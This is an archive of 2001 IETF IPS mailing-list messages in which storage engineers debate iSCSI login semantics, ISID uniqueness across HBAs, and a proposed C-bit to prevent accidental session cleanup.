Internet Mail Service (5.5.2653.19) Content-Type: text/plain Sender: owner-ips@ece.cmu.edu Precedence: bulk Remove From owner-ips@ece.cmu.edu Thu Sep 6 18:26:06 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id SAA10280 for ; Thu, 6 Sep 2001 18:26:05 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f86KnAq13276 for ips-outgoing; Thu, 6 Sep 2001 16:49:10 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from mail.ivivity.com (user-vc8ftn3.biz.mindspring.com [216.135.246.227]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f86Kn7P13272 for ; Thu, 6 Sep 2001 16:49:08 -0400 (EDT) Received: from EDDYLAPTOP ([192.168.1.245]) by mail.ivivity.com with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2448.0) id QMJCN25A; Thu, 6 Sep 2001 16:48:58 -0400 Reply-To: From: "Eddy Quicksall" To: "'Martin, Nick'" , Subject: RE: iSCSI: login issue - partial consensus call Date: Thu, 6 Sep 2001 16:48:38 -0400 Message-ID: <000601c13715$4eb1f190$f501a8c0@eddylaptop> MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook CWS, Build 9.0.2416 (9.0.2911.0) Importance: Normal In-Reply-To: <31891B757C09184BBFEC5275F85D5595104DC0@cceexc18.americas.cpqcorp.net> X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000 Sender: owner-ips@ece.cmu.edu Precedence: bulk Content-Transfer-Encoding: 7bit Thanks and sorry, I didn't realize that. To simplify this ISID issue, would it make sense to make a change as follows? - make the InitiatorName be the name of the entity that maintains unique ISID's. That could be an HBA or a driver controlling several NIC's. - make a new name called the HostName that can be used for authentication. The HostName could be optional because some special case HBA's may only be used on closed connections and will not need authentication. Eddy -----Original Message----- From: Martin, Nick [mailto:Nick.Martin@COMPAQ.com] Sent: Thursday, September 06, 2001 2:47 PM To: eddy_quicksall@ivivity.com; ips@ece.cmu.edu Subject: RE: iSCSI: login issue - partial consensus call Eddy, Yes, two HBAs in the same host could have different initiator names, but are they really separate initiators? It is likely that they could provide two paths to the same target. Perhaps one is an HBA and the other is a software stack on a standard NIC. Must they have separate access rights? Should the target have to maintain their identities separately? If all HBAs within a system share the same InitiatorName, they can be used interchangeably for path fail-over. If they do not, then the target will need to maintain separate access rights for each HBA within the same system. I agree, that if they have different InitiatorName they can not have ISID collisions, so there is no issue. If they do share a common InitiatorName, can they peacefully co-exist in the same ISID space within the protocol? Can they establish sessions with a common target without stepping on each other, and also without requiring a common host based mechanism for partitioning the ISID space? Today in Fibre Channel, permissions at the target are generally administered using the unique WWUID of each HBA. A host with multiple HBAs must have permissions for each HBA to access the same storage or identically wired HBAs still do not have identical privileges. I hoped that with iSCSI InitiatorName was identifying the host, not the HBA so that identical permissions would normally be granted to all HBAs within a single host. Probably I have missed the point somewhere. Perhaps this what "AccessID" is for? If no two HBAs (even in the same host) will share the same InitiatorName, then their ISID spaces are not shared. Even software only iSCSI stacks must then invent unique InitiatorName. The remaining reason to maintain a difference between recovery login and initial login would be ... I'm not sure. Thanks, Nick -----Original Message----- From: Eddy Quicksall [mailto:eddy_quicksall@ivivity.com] Sent: Thursday, September 06, 2001 9:57 AM To: Martin, Nick; ips@ece.cmu.edu Subject: RE: iSCSI: login issue - partial consensus call But wouldn't the two different vendors you mention below have different iSCSI Initiator Names? Remember, the Initiator is not the host, it is the HBA in this case. If two different HBA's are going to play together then a common driver would be used and the driver would provide the iSCSI Initiator Name. Then, the ISID would be properly maintained by the driver. Think of the Initiator Name as the owner of the ISID's for that name. Eddy -----Original Message----- From: Martin, Nick [mailto:Nick.Martin@compaq.com] Sent: Wednesday, September 05, 2001 5:50 PM To: KRUEGER,MARJORIE (HP-Roseville,ex1); ips@ece.cmu.edu Subject: RE: iSCSI: login issue - partial consensus call Marj, You mention vendors not knowing how to play right. The problem is that iSCSI does not and will not specify how two HBAs from different vendors installed in the same Initiator should or could get a range of ISIDs for their exclusive use. This will be operating system specific and vendor defined. It is uncertain that the same tool or repository would be used by all HBA vendors in any environment. Given this, accidental overlap in ISID space is not unlikely. Given that there is no one way to play right, we must make sure that everyone can at least play nice. My expectation is that sessions are infrequently established and long lived. ISIDs may be re-used at will by their current owners. When no "already owned" ISIDs are available, or an attempt to re-use an "already owned" ISID failed, and HBA would need to a) "probe" for a new available ISID or b) fail the request to establish the session. Session recovery should not be attempted unless a session is known to have failed. If tools are available, and the administrator has used them correctly, then HBAs will not collide in ISID space. If the tools are not available or were not used correctly, I would hope the second HBA can still attempt to come up without impacting the sessions established by the first. Again, I state my support for a login with existing ISID harmlessly fails (the Target state does not change) unless a session recovery indicator is set. Also if a session recovery indicator is set, and the ISID is not in use (by this Initiator at this Target), the login also fails. Thanks, Nick -----Original Message----- From: KRUEGER,MARJORIE (HP-Roseville,ex1) [mailto:marjorie_krueger@hp.com] Sent: Friday, August 31, 2001 12:09 PM To: Martin, Nick; ips@ece.cmu.edu Subject: RE: iSCSI: login issue - partial consensus call > In particular this enables independent agents within the same initiator to > attempt a login without knowing all ISIDs in use by other agents. Each > agent would know the ISID of sessions it had successfully established, but > not the ISIDs for sessions established by others. It can use the ISIDs it > knows to recover sessions it owns. If an agent gets a failure attempting to > establish a new session, it would pick a different ISID and > retry (or just quit), rather than disrupting a session of another agent. The intent of the presentation on SCSI/iSCSI modeling, and the text in the draft, is to illustrate how this example is not a recommended implementation choice due to the probability of violating the SCSI/iSCSI rules pointed out. If the "independant agents" had partitioned the ISID space, there would be no collision on login and no time wasted. Your illustrated implementation could spend significant time "trying" ISID's in use by the "other agents". However, I'm starting to have more sympathy with Julian's concerns due to the apparent risks of different vendors' initiator implementations not following the rules. I just imagined having vendor A's HBA installed and happily servicing applications, installing vendor B's "plug-n-play" implementation, and having all A's sessions aborted cause B doesn't know how to play right :-( Marj From owner-ips@ece.cmu.edu Thu Sep 6 18:26:30 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id SAA10295 for ; Thu, 6 Sep 2001 18:26:30 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f86KwUM13908 for ips-outgoing; Thu, 6 Sep 2001 16:58:30 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from mail.ivivity.com (user-vc8ftn3.biz.mindspring.com [216.135.246.227]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f86KwRP13898 for ; Thu, 6 Sep 2001 16:58:28 -0400 (EDT) Received: from EDDYLAPTOP ([192.168.1.245]) by mail.ivivity.com with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2448.0) id QMJCN25F; Thu, 6 Sep 2001 16:58:22 -0400 Reply-To: From: "Eddy Quicksall" To: , Subject: RE: iSCSI: login issue - partial consensus call Date: Thu, 6 Sep 2001 16:58:03 -0400 Message-ID: <000701c13716$9f5c7790$f501a8c0@eddylaptop> MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook CWS, Build 9.0.2416 (9.0.2911.0) Importance: Normal In-Reply-To: <200109061810.LAA12619@core.rose.hp.com> X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000 Sender: owner-ips@ece.cmu.edu Precedence: bulk Content-Transfer-Encoding: 7bit I got a bit lost here but I think the purpose is to reset a session. Wouldn't it make it easier if we use the TSID instead of the ISID. Since the target controls that and can issue a unique TSID to every initiator, it could more easily do its job. Am I missing something? Eddy -----Original Message----- From: Mallikarjun C. [mailto:cbm@rose.hp.com] Sent: Thursday, September 06, 2001 2:11 PM To: ips@ece.cmu.edu Subject: RE: iSCSI: login issue - partial consensus call Let me make one last attempt to explain why I dislike B. >And in reply to David's suggestion for a mandatory management interface to >disable the C-bit. If iSCSI can mandate that, then it can mandate a >management interface for setting/configuring ISID partitions and the >problem goes away of non-cooperating HBAs. Jim is right on. Enforcing ISID partitioning, or C-bit setting - either works for well-behaved initiators. Neither works with incorrect implementations. To tilt the balance, option A is simpler. -- Mallikarjun Mallikarjun Chadalapaka Networked Storage Architecture Network Storage Solutions Organization MS 5668 Hewlett-Packard, Roseville. cbm@rose.hp.com >Folks, > >Though I'm getting ready to throw in the towel on this issue (mostly >because it isn't really worth the fight), I want to state again my rational >for not supporting Option B. > >Option A is the simplest for everyone. > >Option B has much more complexity and is subject to the same results as >Option A if the C bit is used indiscriminantly. How use of the C-bit is >controlled is actually outside the scope of the standard because >enforcement of requirements is by the receiving end of the protocol and >there's nothing for the target to do in this case. The target can't say "I >don't think you really meant that". A "good" initiator will never set the >C bit unless it really wants it and understands the consequences. A "bad" >initiator (because of bad programming) will set the C bit first and then >handle the rejection as a retry (but when there is no rejection, the bad >effects have already happened). A "good/bad" initiator may not set the C >bit first, but then set it after a rejection because it thinks it owns the >ISID space (e.g., doesn't even know or care that there might be another HBA >around) -- and we all know systems that behave this way! > >The net of this is, in my opinion, that what we're trying to protect >against with Option B won't really be protected, so why bother with the >extra protocol. > >And in reply to David's suggestion for a mandatory management interface to >disable the C-bit. If iSCSI can mandate that, then it can mandate a >management interface for setting/configuring ISID partitions and the >problem goes away of non-cooperating HBAs. > >Jim Hafner > > >Black_David@emc.com@ece.cmu.edu on 09/06/2001 07:10:37 am > >Sent by: owner-ips@ece.cmu.edu > > >To: Nick.Martin@compaq.com, ips@ece.cmu.edu >cc: >Subject: RE: iSCSI: login issue - partial consensus call > > > >Trying to close this issue, I think Nick's points are valid and >answer the question about when the "C-bit" would not be set -- >when the entity sending the command suspects (or wants to protect >against) a problem in ISID assignment. That appears to make option >B) the right choice: > > B) Should iSCSI mandate making this intended cleanup explicit > by setting a bit (Say C-bit, for Clear) in the Login Command > PDU to prevent an accidental session cleanup with a buggy > initiator code? > >I have the following additional comments: >(1) A new bit is needed. Reuse of the X-bit for this purpose has been > rejected by rough consensus of the WG. >(2) In order to deal with the worst case, every iSCSI implementation > MUST have an administrative interface that can prevent this new > "C-bit" from ever being set, even if the implementation thinks > that setting it is the right thing to do. This provides a > way to deal with situations in which sessions are getting > stomped on by ISID problems. >(3) Some additional words about ISID usage are needed to encompass > scenarios in which ISID assignment is not present, does not > assign enough ISIDs, or fails for some reason. > >Comments are welcome. Further objection to B) needs to explain >why Nick's scenarios should not be considered. I was disappointed >to see a prior statement that the ISIDs would be different "by >definition" - this is in the same category as saying that software >and protocol implementations are bug-free "by definition". Keep in >mind that Nick is correct in saying: > >> The problem is that iSCSI does not and will not specify how two HBAs >> from different vendors installed in the same Initiator should or could >> get a range of ISIDs for their exclusive use. This will be operating >> system specific and vendor defined. > >Thanks, >--David > >--------------------------------------------------- >David L. Black, Senior Technologist >EMC Corporation, 42 South St., Hopkinton, MA 01748 >+1 (508) 435-1000 x75140 FAX: +1 (508) 497-8500 >black_david@emc.com Mobile: +1 (978) 394-7754 >--------------------------------------------------- > >> -----Original Message----- >> From: Martin, Nick [mailto:Nick.Martin@compaq.com] >> Sent: Wednesday, September 05, 2001 5:50 PM >> To: KRUEGER,MARJORIE (HP-Roseville,ex1); ips@ece.cmu.edu >> Subject: RE: iSCSI: login issue - partial consensus call >> >> >> Marj, >> >> You mention vendors not knowing how to play right. >> The problem is that iSCSI does not and will not specify how two HBAs >> from different vendors installed in the same Initiator should or could >> get a range of ISIDs for their exclusive use. This will be operating >> system specific and vendor defined. It is uncertain that the same tool >> or repository would be used by all HBA vendors in any environment. >> Given this, accidental overlap in ISID space is not unlikely. >> >> Given that there is no one way to play right, we must make sure that >> everyone can at least play nice. >> >> My expectation is that sessions are infrequently established and long >> lived. ISIDs may be re-used at will by their current owners. When no >> "already owned" ISIDs are available, or an attempt to re-use an "already >> owned" ISID failed, and HBA would need to a) "probe" for a new available >> ISID or b) fail the request to establish the session. Session recovery >> should not be attempted unless a session is known to have failed. >> >> If tools are available, and the administrator has used them correctly, >> then HBAs will not collide in ISID space. If the tools are not >> available or were not used correctly, I would hope the second HBA can >> still attempt to come up without impacting the sessions established by >> the first. >> >> Again, I state my support for a login with existing ISID harmlessly >> fails (the Target state does not change) unless a session recovery >> indicator is set. Also if a session recovery indicator is set, and the >> ISID is not in use (by this Initiator at this Target), the login also >> fails. >> >> Thanks, >> Nick >> -----Original Message----- >> From: KRUEGER,MARJORIE (HP-Roseville,ex1) >> [mailto:marjorie_krueger@hp.com] >> Sent: Friday, August 31, 2001 12:09 PM >> To: Martin, Nick; ips@ece.cmu.edu >> Subject: RE: iSCSI: login issue - partial consensus call >> >> >> > In particular this enables independent agents within the same >> initiator to >> > attempt a login without knowing all ISIDs in use by other agents. >> Each >> > agent would know the ISID of sessions it had successfully >> established, >> but >> > not the ISIDs for sessions established by others. It can use the >> ISIDs it >> > knows to recover sessions it owns. If an agent gets a failure >> attempting >> to >> > establish a new session, it would pick a different ISID and >> > retry (or just quit), rather than disrupting a session of another >> agent. >> >> The intent of the presentation on SCSI/iSCSI modeling, and the text in >> the >> draft, is to illustrate how this example is not a recommended >> implementation >> choice due to the probability of violating the SCSI/iSCSI >> rules pointed >> out. >> If the "independant agents" had partitioned the ISID space, >> there would >> be >> no collision on login and no time wasted. Your illustrated >> implementation >> could spend significant time "trying" ISID's in use by the "other >> agents". >> >> However, I'm starting to have more sympathy with Julian's concerns due >> to >> the apparent risks of different vendors' initiator implementations not >> following the rules. >> >> I just imagined having vendor A's HBA installed and happily servicing >> applications, installing vendor B's "plug-n-play" implementation, and >> having >> all A's sessions aborted cause B doesn't know how to play right :-( >> >> Marj >> > > > > From owner-ips@ece.cmu.edu Thu Sep 6 18:27:50 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id SAA10312 for ; Thu, 6 Sep 2001 18:27:50 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f86KXYK12222 for ips-outgoing; Thu, 6 Sep 2001 16:33:34 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from zmamail03.zma.compaq.com (zmamail03.zma.compaq.com [161.114.64.103]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f86KXVP12216 for ; Thu, 6 Sep 2001 16:33:31 -0400 (EDT) Received: by zmamail03.zma.compaq.com (Postfix, from userid 12345) id E8DBC7EB1; Thu, 6 Sep 2001 16:33:20 -0400 (EDT) Received: from cceexg12.americas.cpqcorp.net (cceexg12.americas.cpqcorp.net [16.110.250.124]) by zmamail03.zma.compaq.com (Postfix) with ESMTP id B95D57C66 for ; Thu, 6 Sep 2001 16:33:20 -0400 (EDT) Received: from cceexc18.americas.cpqcorp.net ([16.110.250.64]) by cceexg12.americas.cpqcorp.net with Microsoft SMTPSVC(5.0.2195.2966); Thu, 6 Sep 2001 15:33:16 -0500 X-MimeOLE: Produced By Microsoft Exchange V6.0.4418.65 content-class: urn:content-classes:message Subject: RE: iSCSI: login issue - partial consensus call Date: Thu, 6 Sep 2001 15:33:14 -0500 Message-ID: <31891B757C09184BBFEC5275F85D5595104DC2@cceexc18.americas.cpqcorp.net> MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Thread-Topic: iSCSI: login issue - partial consensus call Thread-Index: AcE3BdDjwRzS7qL3EdWqmgBQiwLxogAAeApQ From: "Martin, Nick" To: X-OriginalArrivalTime: 06 Sep 2001 20:33:16.0249 (UTC) FILETIME=[28434C90:01C13713] Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by ece.cmu.edu id f86KXXP12219 Sender: owner-ips@ece.cmu.edu Precedence: bulk Content-Transfer-Encoding: 8bit Santosh, If an iSCSI HBA driver is going to live within the SCSI subsystems in today's operating systems, it will be told almost nothing about the host through those interfaces. When the driver initializes, it is likely to be told only the PCI addresses of its adapter(s). It is provided interfaces only to expose its SCSI request, ioctl request, and hardware interrupt service routines. It will not get the host name, or an IP address via interfaces in the SCSI subsystem. Interfaces to collect information such as IP address, and host name which are available to network drivers, are not available to many storage drivers. These and anything else needed will have to be collected from other interfaces. Some OS environments will provide a way for the SCSI driver to initiate queries for this information, some will allow static pre-configuration, others will need to wait for something to poke the information in through custom ioctl interfaces, or retrieve or construct what is needed from non-volatile storage on the HBA card. This is partly a chicken and egg problem. The host name for example is normally retrieved from the system disk which can not be read until the storage driver has completed its initialization. If the boot storage controller could ask the OS for the host name, it would not get a good answer. Operating systems will eventually comprehend the need for driver APIs for iSCSI which blend network and storage requirements, but initial implementations will be entirely supplied by the HBA or driver vendor. IMHO, if a driver can initialize (bootstrap) without information from other sources, you make life much easier for the driver writers, testers, and users. If all iSCSI drivers operating within the same host need to agree on something which is not available through a pre-existing interface, there will be problems. If the administrator has to manually set the same InitiatorName (and/or AccessID) for each iSCSI driver, that is one thing. If he has to manually set non-overlapping ranges of ISIDs for each driver instance that will be more error prone. The suggestion by Michael Schoberg to eliminate initiator assigned ISID, and only use TSID which is already guaranteed to be unique makes sense to me. As Michael noted, we are a bit off of the consensus topic. Thanks, Nick -----Original Message----- From: Santosh Rao [mailto:santoshr@cup.hp.com] Sent: Thursday, September 06, 2001 1:57 PM To: ips@ece.cmu.edu Subject: Re: iSCSI: login issue - partial consensus call "Martin, Nick" wrote: > The problem is that iSCSI does not and will not specify how two HBAs > from different vendors installed in the same Initiator should or could > get a range of ISIDs for their exclusive use. This will be operating > system specific and vendor defined. It is uncertain that the same tool > or repository would be used by all HBA vendors in any environment. > Given this, accidental overlap in ISID space is not unlikely. In the above scenario, if the HBAs do not have an interface to receive a range of ISIDs from the OS iscsi driver, then, they must also lack an interface to be handed down an iscsi initiator node name from the OS driver. Without using a common iscsi initiator node name, the ISID issue does not arise for multiple HBAs. [since each would be using its own iscsi name]. OTOH, if the HBAs have an interface to be handed down an iscsi initiator node name from the OS driver, there's no reason for them to not provide an interface to be handed down an ISID or a range of ISIDs for their use. I am in favor of option (A) since it is the simplest and a well designed HBA should be providing interfaces for the OS driver to assign the HBA an iscsi initiator node name as well as a range of ISIDs, thus, rendering Nick's scenario unlikely. > > Given that there is no one way to play right, we must make sure that > everyone can at least play nice. > > My expectation is that sessions are infrequently established and long > lived. ISIDs may be re-used at will by their current owners. When no > "already owned" ISIDs are available, or an attempt to re-use an "already > owned" ISID failed, and HBA would need to a) "probe" for a new available > ISID or b) fail the request to establish the session. Session recovery > should not be attempted unless a session is known to have failed. > > If tools are available, and the administrator has used them correctly, > then HBAs will not collide in ISID space. If the tools are not > available or were not used correctly, I would hope the second HBA can > still attempt to come up without impacting the sessions established by > the first. If the tools were not available, how does the 2nd HBA get assigned the same iscsi initiator node name as the first ? The ISID issue is only applicable if both HBAs are sharing the same iscsi initiator node name. I would like to understand the rationale behind an HBA interface allowing an initiator node name to be assigned, but not an ISID or a range of ISIDs (?). Regards, Santosh From owner-ips@ece.cmu.edu Thu Sep 6 18:37:48 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id SAA10489 for ; Thu, 6 Sep 2001 18:37:48 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f86Ktbj13712 for ips-outgoing; Thu, 6 Sep 2001 16:55:37 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from e31.bld.us.ibm.com (e31.co.us.ibm.com [32.97.110.129]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f86KtVP13703 for ; Thu, 6 Sep 2001 16:55:36 -0400 (EDT) Received: from westrelay02.boulder.ibm.com (westrelay02.boulder.ibm.com [9.99.140.23]) by e31.bld.us.ibm.com (8.9.3/8.9.3) with ESMTP id QAA79838; Thu, 6 Sep 2001 16:53:12 -0400 Received: from d03nm042.boulder.ibm.com (d03nm042.boulder.ibm.com [9.99.140.42]) by westrelay02.boulder.ibm.com (8.11.1m3/NCO v4.97.1) with ESMTP id f86KtQt258512; Thu, 6 Sep 2001 14:55:26 -0600 Importance: Normal Subject: RE: iSCSI: login issue - partial consensus call To: , ips@ece.cmu.edu From: "Jim Hafner" Date: Thu, 6 Sep 2001 13:55:24 -0700 Message-ID: X-MIMETrack: Serialize by Router on D03NM042/03/M/IBM(Release 5.0.8 |June 18, 2001) at 09/06/2001 01:55:26 PM MIME-Version: 1.0 Content-type: text/plain; charset=us-ascii Sender: owner-ips@ece.cmu.edu Precedence: bulk Eddy, I'll try to take a crack at this question. The problem is that the word "initiator" is being overused in these discussions (same for "target"). I personally try to make a distinction in every case, even if I sound pendantic. In almost all cases in the iSCSI spec (and I think rev-08 will make this explicit), the word 'initiator' means iSCSI initiator (an iSCSI Node doing client stuff) unless otherwise qualified. The iSCSI Initiator has exactly one iSCSI Name. An OS may have one such iSCSI Initiator in it, or it may have several (depends on how you want to use them, but access rights etc are supposed to be bound to the name, so fewer nodes in an OS means fewer names means less configuration and more consistent views of storage within the host). An iSCSI Initiator can have multiple network interfaces, lumped into groups (portal groups) with the property that within each portal group, a cross network interface multiple connection session can be built. For example, I could have two iSCSI HBAs, each with dual ethernet ports (and possibly different addresses for each port). Ideally, this is one iSCS Initiator, with two portal groups. The other context of 'initiator' is "SCSI Initiator" and that further qualifies to "SCSI Initiator Port" and 'SCSI initiator device'. In our case, the SCSI initiator device is 'attached' to the iSCSI Initiator (node) and there is only one such attachment. The SCSI Initiator ports are (as defined now) the initiator end points of sessions (are dynamically created). I hope that much is clear. I've annotated your questions/quotes below with my interpretation of which context the word initiator is implied. Jim Hafner "Eddy Quicksall" @ece.cmu.edu on 09/06/2001 09:50:02 am Please respond to Sent by: owner-ips@ece.cmu.edu To: , cc: Subject: RE: iSCSI: login issue - partial consensus call David, Now, I'm really confused... I just read through the spec and I don't see where it mentions the "Initiator" as you have presented it below. Can you please give me a reference? Section 1.1 appears to define "initiator" as: Clients of a SCSI interface are called "initiators". iSCSI Initiator" Initiators are one endpoint of a SCSI transport. I think this is "iSCSI Initiator"; however, it is not unrelated to the binding of one iSCSI Initiator to one SCSI Initiator Device, so you can probably read both of these terms here. Section 1.2.1 says: The group of TCP connections that link an initiator with a target, form a session (loosely equivalent to a SCSI I-T nexus). iSCSI Initiator and iSCSI Target; it's the session which is loosely equivalent to an I_T nexus. That does not seem to be consistent with your definition. In parallel SCSI, you can have two different initiators SCSI Initiator Port talking to the same target SCSI Target Port with both initiators on the same host SCSI Initiator Device (or perhaps even finer than that) ... your use of Initiator to interpret David, I think this was iSCSI Initiator Node does not seem to be consistent that that because you would allow only one Initiator (the host). Also, if the InitiatorName is the name of the host, how does an independent HBA find out the name? I would like to propose that "Initiator" refers to that end point which is maintaining unique ISID's. I believe this definition would be consistent with all that is in the spec. I'm not clear what you mean with this definition. "unique ISIDs" with respect to a particular target or globally unique? The later is not a requirement. The former is a requirement. However, "maintaining" is ambiguous. If an iSCSI Initiator Node partitions its ISID space among its portal groups (think HBAs here as is being discussed), then each portal group is maintaining its portion of the ISID space according to the uniqueness rules, but it's also true that by the simple act of partitioning, the iSCSI Initiator Node is doing the same thing. So who is the "maintainer" in your case, the node or the portal group? Eddy -----Original Message----- From: Black_David@emc.com [mailto:Black_David@emc.com] Sent: Thursday, September 06, 2001 11:42 AM To: eddy_quicksall@ivivity.com; ips@ece.cmu.edu Subject: RE: iSCSI: login issue - partial consensus call Nope, the iSCSI Initiator Name is supposed to refer to the host into which the HBAs are plugged (or, more precisely, the OS instance using the HBAs for systems that support multiple OS instances). If we were to change the naming approach to associate Initiator identities with network interfaces, this particular issue gets easier, but we'd have to take another hard look at why multiple sessions are allowed between the same Initiator and Target (ditto multiple connections per session). --David > -----Original Message----- > From: Eddy Quicksall [mailto:eddy_quicksall@ivivity.com] > Sent: Thursday, September 06, 2001 10:57 AM > To: Nick.Martin@compaq.com; ips@ece.cmu.edu > Subject: RE: iSCSI: login issue - partial consensus call > > > But wouldn't the two different vendors you mention below have > different > iSCSI Initiator Names? Remember, the Initiator is not the > host, it is the > HBA in this case. > > If two different HBA's are going to play together then a > common driver would > be used and the driver would provide the iSCSI Initiator > Name. Then, the > ISID would be properly maintained by the driver. > > Think of the Initiator Name as the owner of the ISID's for that name. > > Eddy > > -----Original Message----- > From: Martin, Nick [mailto:Nick.Martin@compaq.com] > Sent: Wednesday, September 05, 2001 5:50 PM > To: KRUEGER,MARJORIE (HP-Roseville,ex1); ips@ece.cmu.edu > Subject: RE: iSCSI: login issue - partial consensus call > > > Marj, > > You mention vendors not knowing how to play right. > The problem is that iSCSI does not and will not specify how two HBAs > from different vendors installed in the same Initiator should or could > get a range of ISIDs for their exclusive use. This will be operating > system specific and vendor defined. It is uncertain that the > same tool > or repository would be used by all HBA vendors in any environment. > Given this, accidental overlap in ISID space is not unlikely. > > Given that there is no one way to play right, we must make sure that > everyone can at least play nice. > > My expectation is that sessions are infrequently established and long > lived. ISIDs may be re-used at will by their current owners. When no > "already owned" ISIDs are available, or an attempt to re-use > an "already > owned" ISID failed, and HBA would need to a) "probe" for a > new available > ISID or b) fail the request to establish the session. > Session recovery > should not be attempted unless a session is known to have failed. > > If tools are available, and the administrator has used them correctly, > then HBAs will not collide in ISID space. If the tools are not > available or were not used correctly, I would hope the second HBA can > still attempt to come up without impacting the sessions established by > the first. > > Again, I state my support for a login with existing ISID harmlessly > fails (the Target state does not change) unless a session recovery > indicator is set. Also if a session recovery indicator is > set, and the > ISID is not in use (by this Initiator at this Target), the login also > fails. > > Thanks, > Nick > -----Original Message----- > From: KRUEGER,MARJORIE (HP-Roseville,ex1) > [mailto:marjorie_krueger@hp.com] > Sent: Friday, August 31, 2001 12:09 PM > To: Martin, Nick; ips@ece.cmu.edu > Subject: RE: iSCSI: login issue - partial consensus call > > > > In particular this enables independent agents within the same > initiator to > > attempt a login without knowing all ISIDs in use by other agents. > Each > > agent would know the ISID of sessions it had successfully > established, > but > > not the ISIDs for sessions established by others. It can use the > ISIDs it > > knows to recover sessions it owns. If an agent gets a failure > attempting > to > > establish a new session, it would pick a different ISID and > > retry (or just quit), rather than disrupting a session of another > agent. > > The intent of the presentation on SCSI/iSCSI modeling, and the text in > the > draft, is to illustrate how this example is not a recommended > implementation > choice due to the probability of violating the SCSI/iSCSI > rules pointed > out. > If the "independant agents" had partitioned the ISID space, > there would > be > no collision on login and no time wasted. Your illustrated > implementation > could spend significant time "trying" ISID's in use by the "other > agents". > > However, I'm starting to have more sympathy with Julian's concerns due > to > the apparent risks of different vendors' initiator implementations not > following the rules. > > I just imagined having vendor A's HBA installed and happily servicing > applications, installing vendor B's "plug-n-play" implementation, and > having > all A's sessions aborted cause B doesn't know how to play right :-( > > Marj > From owner-ips@ece.cmu.edu Thu Sep 6 19:53:46 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id TAA12316 for ; Thu, 6 Sep 2001 19:53:41 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f86LcTj16619 for ips-outgoing; Thu, 6 Sep 2001 17:38:29 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from palrel1.hp.com (palrel1.hp.com [156.153.255.242]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f86LcMP16607 for ; Thu, 6 Sep 2001 17:38:26 -0400 (EDT) Received: from xparelay2.corp.hp.com (unknown [15.58.137.112]) by palrel1.hp.com (Postfix) with ESMTP id 1D0AE1053; Thu, 6 Sep 2001 14:38:21 -0700 (PDT) Received: from xpabh2.corp.hp.com (xpabh2.corp.hp.com [15.58.136.192]) by xparelay2.corp.hp.com (Postfix) with ESMTP id A3B7D1F537; Thu, 6 Sep 2001 14:38:18 -0700 (PDT) Received: by xpabh2.corp.hp.com with Internet Mail Service (5.5.2653.19) id ; Thu, 6 Sep 2001 14:38:18 -0700 Message-ID: <6BD67FFB937FD411A04F00D0B74FE87805CCF0D0@xrose06.rose.hp.com> From: "KRUEGER,MARJORIE (HP-Roseville,ex1)" To: ips@ece.cmu.edu, "David Black (E-mail)" Cc: "'Nick.Martin@compaq.com'" Subject: RE: iSCSI: login issue - partial consensus call Date: Thu, 6 Sep 2001 14:38:17 -0700 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain; charset="iso-8859-1" Sender: owner-ips@ece.cmu.edu Precedence: bulk I'm mystified as to why it's such an issue that an iSCSI HBA will have to have a configuration interface, supplied by the manufacturer, in order to be installed. This is pretty much a MUST. That is true of all "things that need IP addresses, etc" assigned. Yes, your product can try to select defaults that may work (DHCP, etc) but there is no way they will work in all environments. So why do some seem to feel they should be able to create iSCSI HBAs that require no configuration? And if they require some configuration, two items that should be configurable are iSCSI node name and ISID range (in addition to IP address, netmask, gateway, DNS host, etc. etc.). What am I missing here? It would be nice if this information could come from OS calls and someday it might. Meantime vendors supply config interfaces. How can IP address(es) come from the OS? The iSCSI HBA needs the admin to assign a new one, not use one the OS has assigned for other network interfaces. And back on the topic of login behavior, I would submit that in order to mandate Option B in the protocol, you need to refute the logic summarized so elloquently by Jim in http://www.pdl.cmu.edu/mailinglists/ips/mail/msg06369.html If you can't, option A seems the clear choice to me. Marjorie Krueger Networked 